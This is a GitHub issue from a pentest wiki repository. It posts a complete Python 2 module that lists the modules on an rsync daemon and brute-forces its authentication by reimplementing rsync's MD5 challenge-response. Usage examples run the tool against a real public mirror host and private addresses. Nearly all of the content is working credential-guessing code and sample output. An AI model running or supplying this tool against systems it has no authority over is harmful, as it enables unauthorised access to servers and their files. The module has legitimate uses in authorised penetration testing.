nixawk / pentest-wiki

PENTEST-WIKI is a free online security knowledge library for pentesters / researchers. If you have a good idea, please share it with others.
MIT License
3.37k stars 915 forks source link

[bruteforce] rsync #19

Open nixawk opened 6 years ago

nixawk commented 6 years ago
#!/usr/bin/python
# -*- coding: utf-8 -*-

"""\
This module provides rsync operations and some related functions.

Functions:

Rsync.client_negotiate() -- recv rsync welcome/motd messages
Rsync.client_initialisation() -- send rsync VERSION query
Rsync.client_query() -- send rsync query string
Rsync.client_command() -- send rsync command string
Rsync.bruteforce() -- bruteforce a rsync server with username/password
Rsync.rsync_list() -- list a rsync server
Rsync.generate_challenge() -- read challenge string from rsync response
Rsync.generate_hash() -- generate password hash with password and challenge

Usages:

    $ python2.7 rsync.py mirrors.tripadvisor.com

    [{'comment': 'https://www.centos.org', 'name': 'centos'},
     {'comment': 'https://www.centos.org', 'name': 'centos-vault'},
     {'comment': 'https://www.ubuntu.com', 'name': 'ubuntu'},
     {'comment': 'https://www.ubuntu.com', 'name': 'releases'},
     {'comment': 'https://www.archlinux.org', 'name': 'archlinux'},
     {'comment': 'https://www.gnu.org', 'name': 'gnu'}]

    $ python2.7
    Python 2.7.13 (default, Jan 19 2017, 14:48:08)
    [GCC 6.3.0 20170118] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import rsync
    >>> rsync_client = rsync.Rsync("192.168.1.100", 873)
    >>> rsync_client.rsync_list()
    >>> rsync_client.modules_list
    [{'comment': 'The documents folder of Juan', 'name': 'code'}]
    >>> rsync_client.bruteforce("root", "password")
    True

"""

__author__  = "Nixawk"
__license__ = "GNU license"
__classes__ = ["RSYNC", "RSYNC_EXCEPTION"]

__all__     = [
    "bruteforce",
    "rsync_list",
    "rsync_auth"
]

import logging
import socket
import hashlib
import base64

logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger(__name__)

SOCKET_TIMEOUT = 8.0
SOCKET_READ_BUFFERSIZE = 1024

class RSYNC_EXCEPTION(Exception):
    """Custom Rsync Exception"""
    pass

class Rsync(object):

    """
    $ ncat -v mirrors.tripadvisor.com 873
    Ncat: Version 7.00 ( https://nmap.org/ncat )
    Ncat: Connected to 199.102.235.174:873.
    @RSYNCD: 30.0
    @RSYNCD: 30.0
    #list
    centos          https://www.centos.org
    centos-vault    https://www.centos.org
    ubuntu          https://www.ubuntu.com
    releases        https://www.ubuntu.com
    archlinux       https://www.archlinux.org
    gnu             https://www.gnu.org
    @RSYNCD: EXIT
    """

    MAGIC_HEADER     = '@RSYNCD:'
    HEADER_VERSION   = ''

    RSYNC_EXIT       = '@RSYNCD: EXIT'
    RSYNC_AUTH_REQ   = '@RSYNCD: AUTHREQD'
    RSYNC_AUTH_OK    = '@RSYNCD: OK'

    def __init__(self, host, port):
        """class __init__ method"""
        self.rsync_host = host  # remote rsync service host
        self.rsync_port = port  # remote rsync service port
        self.rsync_sock = None  # python socket object
        self.connections = []
        self.modules_list = []

    def __enter__(self):
        """support context manager"""
        self.connect()
        self.connections.append(self.rsync_sock)

        return self

    def __exit__(self, *exc):
        """support context manager"""
        self.rsync_sock = self.connections.pop()
        self.disconnect()

    def connect(self):
        """connect to rsync server"""
        self.rsync_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.rsync_sock.settimeout(SOCKET_TIMEOUT)
        self.rsync_sock.connect((self.rsync_host, self.rsync_port))

    def disconnect(self):
        """disconnect from rsync server"""
        self.rsync_sock.close()
        self.rsync_sock = None

    def read(self):
        """receive data from rsync server"""
        data = ''
        try:
            while True:
                _ = self.rsync_sock.recv(SOCKET_READ_BUFFERSIZE)
                if not _: break
                data += _
        except Exception as err:
            pass
        return data

    def write(self, data):
        """send data to rsync server"""
        self.rsync_sock.send(data)

    def client_negotiate(self):
        """receive rsync welcome message"""
        data = self.read()

        if not data:
            raise RSYNC_EXCEPTION("rsync client recvs no response")

        if not (self.MAGIC_HEADER in data):
            raise RSYNC_EXCEPTION("rsync client recvs error protocol")

        # [data] examples:

        # '@RSYNCD: 30.0\n'

        # "@RSYNCD: 31.0\nWelcome to the ftp-stud.hs-esslingen.de archives.\n\nIf have any unusual problems, please report them via e-mail to\nrsync@ftp-stud.hs-esslingen.de.\n\n  All transfers are logged.\n  If you don't like this policy, then disconnect now.\n  This server does not support --checksum (-c)\n  This server does not support --compress (-z)\n\n\n"

        ver, motd = data.split("\n", 1)

        _, self.HEADER_VERSION = ver.split(" ", 1)
        if not self.HEADER_VERSION:
            raise RSYNC_EXCEPTION("rsync client fails to recv rsync version")

    def client_initialisation(self):
        """send rsync file rsynchroniser query"""
        rsync_file_rsynchroniser = [
            self.MAGIC_HEADER,
            self.HEADER_VERSION,
            "\n"
        ]
        rsync_file_rsynchroniser = "".join(rsync_file_rsynchroniser)
        self.write(rsync_file_rsynchroniser)

    def client_query(self, data):
        """send query string to rsync server"""
        self.write(data)

    def client_command(self, data):
        """send command string to rsync server"""
        self.write(data)

    def rsync_list(self):
        """list all records from rsync server"""
        # $ ncat -v mirrors.tripadvisor.com 873
        # Ncat: Version 7.00 ( https://nmap.org/ncat )
        # Ncat: Connected to 199.102.235.174:873.
        # @RSYNCD: 30.0
        # @RSYNCD: 30.0

        # centos          https://www.centos.org
        # centos-vault    https://www.centos.org
        # ubuntu          https://www.ubuntu.com
        # releases        https://www.ubuntu.com
        # archlinux       https://www.archlinux.org
        # gnu             https://www.gnu.org

        self.connect()
        self.client_negotiate()
        self.client_initialisation()
        self.client_query("\n")

        raw = self.read()  # [@RSYNCD: EXIT]
        if not raw:
            raise RSYNC_EXCEPTION("rsync client fails to list records")

        lines = raw.split("\n")
        for line in lines:
            if not (line and "\t" in line): continue
            name, comment = line.split("\t", 1)
            name = name.strip()
            module_info = {
                "name": name,
                "comment": comment
            }

            self.modules_list.append(module_info)

        self.disconnect()

    def bruteforce(self, username, password):
        """bruteforce rsync server with creds"""
        self.rsync_list()
        for module_list in self.modules_list:
            if self.rsync_auth(username, password, module_list['name']):
                return True

        return False

    def generate_challenge(self, data):
        """generate challenge string from rsync response"""

        # Line 59, From rsync/authenticate.c, original:
        # void gen_challenge(const char *addr, char *challenge)

        # '@RSYNCD: 31.0\n@RSYNCD: AUTHREQD qUah8Knxn+k1k9LINf4fkg\n'
        challenge = filter(
            lambda x: self.RSYNC_AUTH_REQ in x,
            data.split("\n"))

        if not challenge:
            raise RSYNC_EXCEPTION("fails to recv rsync challenge response")

        challenge = challenge[0]
        challenge = challenge.replace(self.RSYNC_AUTH_REQ, "")
        challenge = challenge.strip()

        return challenge

    def generate_hash(self, password, challenge):
        """generate rsync password hash"""

        # Line 83, From rsync/authenticate.c, original:
        # void generate_hash(const char *in, const char *challenge, char *out)

        md5 = hashlib.md5()
        md5.update(password)
        md5.update(challenge)
        md5.digest()

        pwdhash = base64.b64encode(md5.digest())  # 'NCjPJpWP7VPP2dO7X0jhrw=='
        pwdhash = pwdhash.rstrip('==')

        return pwdhash

    def rsync_auth(self, username, password, modulename):
        """access a rsync module with creds"""

        # $ ncat -v 10.97.214.6 873
        # Ncat: Version 7.00 ( https://nmap.org/ncat )
        # Ncat: Connected to 10.97.214.6:873.
        # @RSYNCD: 31.0
        # @RSYNCD: 31.0
        # code
        # @RSYNCD: AUTHREQD kPbHY16SUmch6/WhA/4brQ

        # @ERROR: auth failed on module code

        self.connect()  # must reconnect here
        self.client_initialisation()
        self.client_query(modulename + "\n")

        # rsync challenge response (include str)
        rawdata = self.read()

        # no auth require
        # '@RSYNCD: 30.0\n@RSYNCD: OK\n'
        if rawdata and self.RSYNC_AUTH_OK in rawdata:
            return True

        # auth require
        challenge = self.generate_challenge(rawdata)
        pass_hash = self.generate_hash(password, challenge)

        self.client_command("{} {}\n".format(username, pass_hash))
        rawdata = self.read()

        # '@RSYNCD: OK\n'
        # '@ERROR: auth failed on module code\n'
        if rawdata and rawdata.startswith(self.RSYNC_AUTH_OK):
            return True

        self.disconnect()

        return False

if __name__ == "__main__":
    from pprint import pprint
    import sys, os

    argc = len(sys.argv)
    if argc == 2:
        host = sys.argv[1]
        port = 873
    elif argc == 3:
        host = sys.argv[1]
        port = int(sys.argv[2])
    else:
        print("[*] python %s <host> <port, default: 873>" % os.path.basename(sys.argv[0]))
        sys.exit(1)

    rsync = Rsync(host, port)
    rsync.rsync_list()
    pprint(rsync.modules_list)

# References
# https://www.rfc-editor.org/rfc/rfc5781.txt
# https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/rsync/modules_list.rb
# http://rsync.samba.org/ftp/rsync/rsync.html
# https://rsync.samba.org/how-rsync-works.html
# https://github.com/rapid7/metasploit-framework/pull/6178
# https://www.wireshark.org/docs/dfref/r/rsync.html
# https://github.com/boundary/wireshark/blob/master/epan/dissectors/packet-rsync.c